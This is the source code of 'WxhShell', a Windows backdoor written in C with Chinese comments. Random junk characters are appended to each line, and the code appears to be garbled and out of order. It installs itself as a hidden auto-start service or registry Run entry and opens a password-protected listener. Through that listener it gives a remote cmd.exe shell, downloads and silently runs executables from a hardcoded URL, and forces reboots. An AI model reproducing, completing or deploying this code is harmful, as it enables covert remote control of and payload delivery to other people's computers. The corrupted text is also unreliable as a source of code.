    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =Rd`"]Mnfb  
    if(Boot(SHUTDOWN)) U`v2Yw3E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Iw{fj|  
    else { 96WzgHPWo  
    closesocket(wsh); X[tt'5  
    ExitThread(0); s-p)^B  
    } HxI6_>n^I  
    break; J4bP(=w!  
    } A?R`~*Q5  
  // 获取shell 0X)vr~`  
  case 's': { +\!.X _Ij  
    CmdShell(wsh); %=**cvVy  
    closesocket(wsh); zlMh^+rMX  
    ExitThread(0); .n:Q~GEL  
    break; sXVl4!=l6  
  } c5]Xqq,  
  // 退出 & ALnE:F  
  case 'x': { hHJiGVJ=V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T zL|{9  
    CloseIt(wsh); Q-x>yau"  
    break; 5|*{~O|  
    } w8lrpbLh  
  // 离开 zx@!8Z  
  case 'q': { JFv70rBe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~J\qkQ  
    closesocket(wsh); _8G w Mj  
    WSACleanup(); Hf4_zd  
    exit(1); {Y~>&B5  
    break; W3:j Z:  
        } CR4O#f8\  
  } Avx`  
  } 0%%1:W-  
Jn+-G4h$  
  // 提示信息 ?Q:SVxzUd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w=KfkdAJ*/  
} sx?IIFF  
  } - 2)k!5X=  
pRQ7rT',v  
  return; <]Td7-n  
} TV`1&ta  
99yWUC,  
// shell模块句柄  3IxC@QR  
int CmdShell(SOCKET sock) t/|0"\ p  
{ |[],z 8  
STARTUPINFO si; t/ \S9  
ZeroMemory(&si,sizeof(si)); WI\a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @$ 7 GrT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @=kg K[t 9  
PROCESS_INFORMATION ProcessInfo; `v -[&  
char cmdline[]="cmd"; ~'M<S=W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 21TR_0g&<  
  return 0; u X,n[u  
} L{/% "2>  
O Z ./suR)  
// 自身启动模式 eT b!xb  
int StartFromService(void) Pmv@  
{ BX/3{5Y>{  
typedef struct ,Zmjw@ w  
{ )N 3^r>(e<  
  DWORD ExitStatus; uV:R3#^  
  DWORD PebBaseAddress; wra0bS)4  
  DWORD AffinityMask; k4Q>J,k  
  DWORD BasePriority; HV%/baX]  
  ULONG UniqueProcessId; xPZ>vCg  
  ULONG InheritedFromUniqueProcessId; {aAd (~YZ  
}   PROCESS_BASIC_INFORMATION; *}2L4]  
X]y:uD{  
PROCNTQSIP NtQueryInformationProcess; b8d0]YS  
q,Gymh;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; puPI ^6y%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 97liSd  
^J]&($-  
  HANDLE             hProcess; `W86]ut[  
  PROCESS_BASIC_INFORMATION pbi; : UeK0  
s)Y1%#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { Zgd  
  if(NULL == hInst ) return 0; Snk+ZQ-  
$w(RJ/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?R]`M_^&u!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9a*#r;R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^kfqw0!  
5W)ST&YPL*  
  if (!NtQueryInformationProcess) return 0; ULiRuN0 6  
K]|UdNo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j(%N.f6  
  if(!hProcess) return 0; evZcoH3~  
4Y(@ KUb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iC3z5_g*@  
_(-jk4 L  
  CloseHandle(hProcess); <WP@q&^k\  
5x+]uABE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #@FA=p[%  
if(hProcess==NULL) return 0; z Rna=h!  
M\{n+r -m  
HMODULE hMod; MtkU]XKGT  
char procName[255]; 4Ly>x>b<  
unsigned long cbNeeded; vAX(3  
uZ6krI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C8K2F5c5  
_mSefPl  
  CloseHandle(hProcess); 1(DiV#epG  
 GK/Po51  
if(strstr(procName,"services")) return 1; // 以服务启动 ZV gfrvZP  
C*mVM!D);!  
  return 0; // 注册表启动 *}\M!u{J  
} u"h/ERCa  
}JFTe g  
// 主模块 t5{P'v9J  
int StartWxhshell(LPSTR lpCmdLine) 6x^$W ]R  
{ =TD`Pet  
  SOCKET wsl; o*Qa*<n  
BOOL val=TRUE; uzdPA'u  
  int port=0; T^ktfg Xq  
  struct sockaddr_in door; :)#;0o5  
g-qXS]y7  
  if(wscfg.ws_autoins) Install(); >NUbk9}J4  
u%C oo  
port=atoi(lpCmdLine); n#+EG3  
F` ybe\  
if(port<=0) port=wscfg.ws_port; <UGaIb  
N|DfE{,  
  WSADATA data; Gd!-fqNa'x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? Ek)" l  
D [+LU(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hC2Fup1@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `n$Ak5f  
  door.sin_family = AF_INET; Z1 Nep !  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z>N[veX%  
  door.sin_port = htons(port); :7K a4  
Et3]n$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8 #4K@nm5  
closesocket(wsl); '?C6P5fm  
return 1; 7Bj,{9^aJ  
} h]<S0/  
brA#p>4]Wf  
  if(listen(wsl,2) == INVALID_SOCKET) { F'XQoZ* 1  
closesocket(wsl); kG D_w  
return 1; rxyv+@~Nc  
} k ]NZ%.  
  Wxhshell(wsl); 8R*;8y_  
  WSACleanup(); -m@c{&r  
Um+_ S@h  
return 0; DZ|*hQU>K  
_r-LX"  
}  w*`:v$  
:9QU\{2  
// 以NT服务方式启动 g`pq*D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mn@1&#c4y  
{ Ze V@ X  
DWORD   status = 0; es7;eH*O9  
  DWORD   specificError = 0xfffffff; 8$NVVw]2,  
YNBM\Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =2&\<Q_Fi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b~zSsws.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'OnfU{Ai  
  serviceStatus.dwWin32ExitCode     = 0; bqbG+ g  
  serviceStatus.dwServiceSpecificExitCode = 0; ]q"&V\b  
  serviceStatus.dwCheckPoint       = 0; hF$`=hE,F~  
  serviceStatus.dwWaitHint       = 0; .{ v$;g  
SXw r$)4_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k3bQ32()  
  if (hServiceStatusHandle==0) return; =7V4{|ESfy  
SrKitSG  
status = GetLastError(); uq3pk3 )W9  
  if (status!=NO_ERROR) _UVpQ5pN  
{ ob>)F^.iS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eB~\~@  
    serviceStatus.dwCheckPoint       = 0; .,u>WIUxj  
    serviceStatus.dwWaitHint       = 0; OQumA j  
    serviceStatus.dwWin32ExitCode     = status; eu5te0{G  
    serviceStatus.dwServiceSpecificExitCode = specificError; Aits<0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h@`Rk   
    return; <)ZQRE@  
  } |5vcT, A  
<ww D*t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c+l1 l0BA  
  serviceStatus.dwCheckPoint       = 0; ZuGSRGX'  
  serviceStatus.dwWaitHint       = 0; F?6kkLS/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EA~xxKq  
} d[t0K]  
_s;y0$O  
// 处理NT服务事件,比如:启动、停止 "=a3"/u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d&^b=d FDu  
{ P8m0]T.&x  
switch(fdwControl) e=9/3?El  
{ i\CA6I  
case SERVICE_CONTROL_STOP: nZioFE}  
  serviceStatus.dwWin32ExitCode = 0; wNi%u{T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B?%u< F  
  serviceStatus.dwCheckPoint   = 0; lfAy$qP"}  
  serviceStatus.dwWaitHint     = 0; $$ND]qM$M  
  { #ksDU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2BC!,e$Z  
  } qlcd[Y*B  
  return; ~DD _n  
case SERVICE_CONTROL_PAUSE: "]"0d[d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C@Wzg  
  break; I7vP*YE 7F  
case SERVICE_CONTROL_CONTINUE: Qm[((6}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7 (2}Vs!5  
  break; 0se%|Z|8  
case SERVICE_CONTROL_INTERROGATE: tz]0F5  
  break; r $S9/  
}; 2xN7lfu1RB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uL)MbM]  
} SAnr|<Y/  
3X(^`lAf)  
// 标准应用程序主函数 eP~3m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }4>u_)nt  
{ ^x&x|ckR!  
4PVg?  
// 获取操作系统版本 u [qy1M0  
OsIsNt=GetOsVer(); U,2OofLM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); St?mq* ,  
D:9^^uVp  
  // 从命令行安装 d_ =K (}eR  
  if(strpbrk(lpCmdLine,"iI")) Install(); '5aA+XP|  
\];|$FQg  
  // 下载执行文件 gp9O%g3'  
if(wscfg.ws_downexe) { DAq H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #w L(<nE  
  WinExec(wscfg.ws_filenam,SW_HIDE); bpsyO>lx/  
} *{?2M6Z  
EG\L]fmD  
if(!OsIsNt) { U>t:*SNC*  
// 如果时win9x,隐藏进程并且设置为注册表启动 rv[BL.qV  
HideProc(); O5du3[2x7a  
StartWxhshell(lpCmdLine); m LajiZ Bf  
} o2(w  
else R}Zaz3( Hd  
  if(StartFromService()) ANPG3^w  
  // 以服务方式启动 5tv*uz|fv  
  StartServiceCtrlDispatcher(DispatchTable); 2>"{El|PbN  
else @16y%]Q-E#  
  // 普通方式启动 IRM jL.q  
  StartWxhshell(lpCmdLine); U+VJiz<!  
<@`K^g;W  
return 0; ~6#mVP5sU)  
} s;h`n$  
S*}GW-)oA  
=3,<(F5Y[  
cY} jPDH  
=========================================== t>]W+Lx#  
5 n4/}s  
07^.Z[(pCt  
M(8xwo-W  
4`~OxL  
gs2qLb  
" R@WW@ Of  
/,7#%D  
#include <stdio.h> 'q9Ejig  
#include <string.h> ] Q^8 9?  
#include <windows.h> ])pX)(a  
#include <winsock2.h> R&s/s`pLW  
#include <winsvc.h> lU|ltnU  
#include <urlmon.h> 6Hc25NuQZ  
7# 'j>]  
#pragma comment (lib, "Ws2_32.lib") aJm5`az)  
#pragma comment (lib, "urlmon.lib") F4(;O7j9  
&[\zs&[@y  
#define MAX_USER   100 // 最大客户端连接数 &>B|?d  
#define BUF_SOCK   200 // sock buffer _6FDuCVD-  
#define KEY_BUFF   255 // 输入 buffer *RkvM?o@jC  
y3*IF2G  
#define REBOOT     0   // 重启  UDpI @  
#define SHUTDOWN   1   // 关机 $_ $%L0)5  
#euOq  
#define DEF_PORT   5000 // 监听端口 j5Yli6r?3-  
M-Nn \h$,  
#define REG_LEN     16   // 注册表键长度 >VjtKSN  
#define SVC_LEN     80   // NT服务名长度 f].z.  
PmId #2f  
// 从dll定义API a[^dK-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F`Vp   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zo-Au  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zh !/24p9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JmF`5  
J!rZs kd  
// wxhshell配置信息 -'W:P'BG  
struct WSCFG { 7({.kD6  
  int ws_port;         // 监听端口 $o\U q  
  char ws_passstr[REG_LEN]; // 口令 ^<yM0'0t  
  int ws_autoins;       // 安装标记, 1=yes 0=no y^p%/p%  
  char ws_regname[REG_LEN]; // 注册表键名 W6B o\UK  
  char ws_svcname[REG_LEN]; // 服务名 nkkGJV!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 suj}A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jaThS!>v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k!@/|]3z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g2 V $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :Z ]E:f0P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Ph+Vs+h  
%4To@#c  
}; 0@f7`D  
,Ur~DXY  
// default Wxhshell configuration B7ys`eiB5C  
struct WSCFG wscfg={DEF_PORT, '\m\$ {  
    "xuhuanlingzhe", `.6Jgfu  
    1, ,/L_9wV-\  
    "Wxhshell", Jf2:[ Mq  
    "Wxhshell", N_!Zn"J  
            "WxhShell Service", of<>M4/g4y  
    "Wrsky Windows CmdShell Service", L3Q1az!Ct  
    "Please Input Your Password: ", _Q;M$.[zyR  
  1, CQY/q@7  
  "http://www.wrsky.com/wxhshell.exe", a-TsD}'X  
  "Wxhshell.exe" zGFW?|o<  
    }; [TV"mA  
8<^6<c  
// 消息定义模块 ^_ZQf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =TI|uD6T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eWx6$_|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VA'<  
char *msg_ws_ext="\n\rExit."; B<'V7#L_  
char *msg_ws_end="\n\rQuit."; H+2J.&Ch  
char *msg_ws_boot="\n\rReboot..."; HNoh B4vt  
char *msg_ws_poff="\n\rShutdown..."; 7]9s_13]  
char *msg_ws_down="\n\rSave to "; -ap;Ul?  
e;}5~dSi  
char *msg_ws_err="\n\rErr!"; >Q\H1|?  
char *msg_ws_ok="\n\rOK!"; ELNA-ZKp  
 WU,72g=  
char ExeFile[MAX_PATH]; $t </{]iX  
int nUser = 0; FkE CY  
HANDLE handles[MAX_USER]; B 9]sSx  
int OsIsNt; !r!Mq~X<=  
7!N5uR  
SERVICE_STATUS       serviceStatus; CM's6qhQnn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )@`w^\E_~_  
1y8:tri>N  
// 函数声明 tT#Q`cB  
int Install(void); \ZDT=?  
int Uninstall(void); yM D* >8/  
int DownloadFile(char *sURL, SOCKET wsh); lB\j>.c  
int Boot(int flag); ?y45#Tk]  
void HideProc(void); LveqG   
int GetOsVer(void); +Vf|YLbhJ  
int Wxhshell(SOCKET wsl); S(-=I!.G{  
void TalkWithClient(void *cs); iii$)4V  
int CmdShell(SOCKET sock); M[*:=C)H  
int StartFromService(void); s9GPDfZ  
int StartWxhshell(LPSTR lpCmdLine); TAC\2*bWje  
LP)mp cQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ptq{$Y{_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]MF r2  
LA@}{hU  
// 数据结构和表定义 x}>tX  
SERVICE_TABLE_ENTRY DispatchTable[] = u!`C:C'  
{ ]R>k0X.V  
{wscfg.ws_svcname, NTServiceMain}, b~1p.J4  
{NULL, NULL} YL=k&Q G  
}; gS|xicq!  
}EIwkz8  
// 自我安装 )L hO}zQ  
int Install(void) $-AvH( @  
{ >`\*{]  
  char svExeFile[MAX_PATH]; OB^2NL~Q~  
  HKEY key; *wF:Q;_<z  
  strcpy(svExeFile,ExeFile); g4$%)0x%  
Zz&i0 r  
// 如果是win9x系统,修改注册表设为自启动 &s;%(c04A  
if(!OsIsNt) { pn7 :")Zx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A>g$[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | uZ=S]V@  
  RegCloseKey(key); tr/dd&(Y1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+|ohA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q@-qA]  
  RegCloseKey(key); 7VXeu+-P  
  return 0; 835Upj>  
    } CGe'z  
  } lM1!2d'P  
} R39R$\  
else { 5)o IPHXw  
lqCn5|S]  
// 如果是NT以上系统,安装为系统服务 g^4FzJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dGteYt_F  
if (schSCManager!=0) ?(<AT]hV:  
{ pOYtN1uN|  
  SC_HANDLE schService = CreateService YPy))>Q>cK  
  ( G([vy#p  
  schSCManager, @!'H'GvA  
  wscfg.ws_svcname, #Fd( [Zx#.  
  wscfg.ws_svcdisp, bg*{1^  
  SERVICE_ALL_ACCESS, (Sv%-8?gs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -d3y!| \>a  
  SERVICE_AUTO_START, td&l T(7  
  SERVICE_ERROR_NORMAL, Bw=[g&+o1@  
  svExeFile, g&vEc1LNo  
  NULL, bX(*f>G'  
  NULL, _z5CplO  
  NULL, Lb{D5k*XU  
  NULL, e,*[5xQ  
  NULL ;2|H6IN"  
  ); /_a *C.a6  
  if (schService!=0) Aii[=x8  
  { .KsvRx  
  CloseServiceHandle(schService); FOA%( 5$4  
  CloseServiceHandle(schSCManager); Wu&Di8GhP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M<srJ8|'  
  strcat(svExeFile,wscfg.ws_svcname); Ma daxx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T!a[@,)_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mv=cLG?X  
  RegCloseKey(key); 'X,V  
  return 0; \veL5  
    } EG.C2]Fi  
  } R7{hoqI2  
  CloseServiceHandle(schSCManager); \IfgL$+  
} (B-9M)  
} \8D~,$,``|  
,R =VzP&  
return 1; ~\G3 l,4  
} Z :+#3.4$3  
8!SiTOzR?  
// 自我卸载 __iyBaX  
int Uninstall(void) pb Ie)nK  
{ o?FUVK  
  HKEY key; ( `+Z'Y  
xlO2jSSAt  
if(!OsIsNt) { <6~;-ZQY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \pGO}{3 e*  
  RegDeleteValue(key,wscfg.ws_regname); Z5[:Zf?h7J  
  RegCloseKey(key); LeyDs>! 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Q -F  
  RegDeleteValue(key,wscfg.ws_regname); U9 *2< c  
  RegCloseKey(key); Oha g%<1#  
  return 0; K:@=W1  
  } I}IW!K  
} 2QRn c"  
} |=T<WU1$  
else { q*nz4QTOE  
W@dY:N}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~(/HgFLLu  
if (schSCManager!=0) Q$L(fH kw  
{ 8Jj0-4]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3]es$Jy  
  if (schService!=0) ]?`p_G3O  
  {  7~nCK  
  if(DeleteService(schService)!=0) { E0]h|/A]  
  CloseServiceHandle(schService); 34kd|!e,  
  CloseServiceHandle(schSCManager); [B @j@&  
  return 0; l|em E ^  
  } \q'fB?bS^  
  CloseServiceHandle(schService); )N 6[rw<  
  } a&"*UJk<?  
  CloseServiceHandle(schSCManager); H`lD@q'S  
} "@w%TcA  
} E}9ldM=]s  
rI+w1';C1  
return 1; z xUj1  
} =>\-ma+  
Pm(:M:a  
// 从指定url下载文件 uE`|0  
int DownloadFile(char *sURL, SOCKET wsh)  :$c:3~  
{ h)^A3;2F  
  HRESULT hr; %H@76NvEz  
char seps[]= "/"; cCGXB|9fYR  
char *token; S!W/K!wf  
char *file; X\2hKUkT  
char myURL[MAX_PATH]; ko2j|*D6@~  
char myFILE[MAX_PATH]; ]=VS~azZ5  
A=d$ir K[  
strcpy(myURL,sURL); 5qkuK F  
  token=strtok(myURL,seps); YQdX>k  
  while(token!=NULL) $YY)g$  
  { X/K)kIi  
    file=token; 'Sy *'&  
  token=strtok(NULL,seps); -Dxhq& }Y  
  } I''R\B p  
A{x 7  
GetCurrentDirectory(MAX_PATH,myFILE); 2qMsa>~  
strcat(myFILE, "\\"); Z WRRh^  
strcat(myFILE, file); bH&)rn  
  send(wsh,myFILE,strlen(myFILE),0); bTQa'y`3  
send(wsh,"...",3,0); g+ 1=5g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /:{_|P\  
  if(hr==S_OK) D>b5Uwt  
return 0; <-B"|u  
else kefv=n*]l  
return 1; &_/%2qs  
S50x0$%<W  
} I cR;A\z  
=l2Dm  
// 系统电源模块 uV}WSoq[  
int Boot(int flag) 0O,T=z[+>  
{ oA;Ty7s  
  HANDLE hToken; ^h6$> n5  
  TOKEN_PRIVILEGES tkp; 1~5q:X  
H4'DL'83  
  if(OsIsNt) { ''OInfd?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wYO"znd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b}Hl$V(uD  
    tkp.PrivilegeCount = 1; 1m<?Q&|m$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !H|82:`t+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ryba[Fz4Di  
if(flag==REBOOT) { Hn9F gul&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h>Uid &:?  
  return 0; vo6[2.HS  
} o47 f  
else { ^Z>B/aJq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xPDA475Cw3  
  return 0; F\=Rm  
}  Ep\  
  } fH e0W  
  else { FL#g9U>  
if(flag==REBOOT) { Uy59zB2|=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e4=FU&RpNH  
  return 0; >PJtG]D  
} 1 73<x){  
else { ,d>X/kd|o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?7kV+{.  
  return 0; @9uYmkcV  
} !q$&JZY  
} -e{)v'C)  
oa &z/`@  
return 1; 9U=fJrj'u  
} 5Hwo)S]r  
? %+VG  
// win9x进程隐藏模块 Uc&6=5~Ys\  
void HideProc(void) D,dHP-v  
{ +-aU+7tu  
_iGU|$a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iL0jpa<}  
  if ( hKernel != NULL ) ! nCjA\$  
  { 7O+Ij9+{n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v dH+>l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jKj=#O  
    FreeLibrary(hKernel); sArje(5Eo  
  } t8A kdSU0  
b@wBR9s  
return; C,{F0-D  
} xA&  
pG!(6V-x<E  
// 获取操作系统版本 nrTv=*tDj  
int GetOsVer(void) WjY{rM,K  
{ vr{'FMc  
  OSVERSIONINFO winfo; fwi};)K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1C0Y0{6,  
  GetVersionEx(&winfo); 3'[Rvy{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vQK n=  
  return 1; *U;4t/(  
  else X`fhln9N  
  return 0; Jtp>m?1Ve  
} [;?"R-V"z  
JFG",09]  
// 客户端句柄模块 qukjS#>+  
int Wxhshell(SOCKET wsl) egI{!bZg'\  
{ ,pyQP^u-  
  SOCKET wsh; &r'{(O8$N  
  struct sockaddr_in client; |oe!P}u  
  DWORD myID; ?{ B[^  
cQ(}^KO  
  while(nUser<MAX_USER) -XBKOybHBO  
{ |;A9A's  
  int nSize=sizeof(client); (]3ERPn#y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hs"% S  
  if(wsh==INVALID_SOCKET) return 1; NqJ<!q)  
ptV4s=G2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _{6,.TN  
if(handles[nUser]==0) ~LawF_]6  
  closesocket(wsh); ;RWW+x8IB  
else 8%o~4u3  
  nUser++; lo+xo;Nd  
  } `E3:;|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  2Vp>"  
"_K}rI6(t  
  return 0; m<FF$pTT  
} ${hyNt  
R9tckRG#  
// 关闭 socket O9t=lrYV!  
void CloseIt(SOCKET wsh) N@Xg5huO  
{ DeOXM=&z  
closesocket(wsh); '8 )Wd"[  
nUser--; xi6 80'  
ExitThread(0); ^Sy^+=wK3  
} (jM<T;4  
2c}B  
// 客户端请求句柄 = :Po%Z%{  
void TalkWithClient(void *cs) XnBm`vk?V!  
{ bnijM/73  
sS, zzx<  
  SOCKET wsh=(SOCKET)cs; o"|O ]  
  char pwd[SVC_LEN]; .aNO( /kO  
  char cmd[KEY_BUFF]; j#N(1}r=1  
char chr[1]; }*iAE>;  
int i,j; 89zuL18V  
OuB2 x=B  
  while (nUser < MAX_USER) { QF\kPk(CtD  
g-."sniP$g  
if(wscfg.ws_passstr) { p1Q/g Il  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MWM +hk1fs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |]^l^e 6m  
  //ZeroMemory(pwd,KEY_BUFF); |vv]Z(_  
      i=0; \). Nag+  
  while(i<SVC_LEN) { QT#b>xV)1  
y0,Ft/D  
  // 设置超时 #hIEEkCp +  
  fd_set FdRead; 5pO]vBT  
  struct timeval TimeOut; hzaU8kb  
  FD_ZERO(&FdRead); 5B%w]n  
  FD_SET(wsh,&FdRead); GGCqtA^@7d  
  TimeOut.tv_sec=8; Js/N()X  
  TimeOut.tv_usec=0; 6hZ.{8e0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YVoao#!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ('=Z }~  
ytEQ`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iq+2mQi*/k  
  pwd=chr[0]; >f>V5L%1  
  if(chr[0]==0xd || chr[0]==0xa) { StEQ -k  
  pwd=0; !?jK1{E3  
  break; +<&E3Or  
  } nt7|f,_J  
  i++; ;:P7}v fz!  
    } d>Un J)V}  
R0{Qy*YQ`  
  // 如果是非法用户,关闭 socket !6lOIgn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^D>fis  
} pg+b[7  
'?5S"??  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +6 ho)YL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U<Vy>gIC  
X1Qr _o-BR  
while(1) { L/~D<V  
mIvnz{_d  
  ZeroMemory(cmd,KEY_BUFF); mxgqS=`  
7m\vRMK  
      // 自动支持客户端 telnet标准   -!l^]MU  
  j=0; L ${m/@9  
  while(j<KEY_BUFF) { :WVSJ,. !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uls+n@\!  
  cmd[j]=chr[0]; DE%fF,Hk3  
  if(chr[0]==0xa || chr[0]==0xd) { VrVDm*AGQ  
  cmd[j]=0; @a0Q0M  
  break; 975 _d_U  
  } p+$+MeBz  
  j++; &Y+e=1a+  
    } QCWf.@n  
 7SaiS_{:  
  // 下载文件 DY8(g=TI|1  
  if(strstr(cmd,"http://")) { [P{a_(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8&%Cy'TIz4  
  if(DownloadFile(cmd,wsh)) tj[c#@[B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }w#F6  
  else h(nj,X+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /HZv  
  } w-ALCh8o  
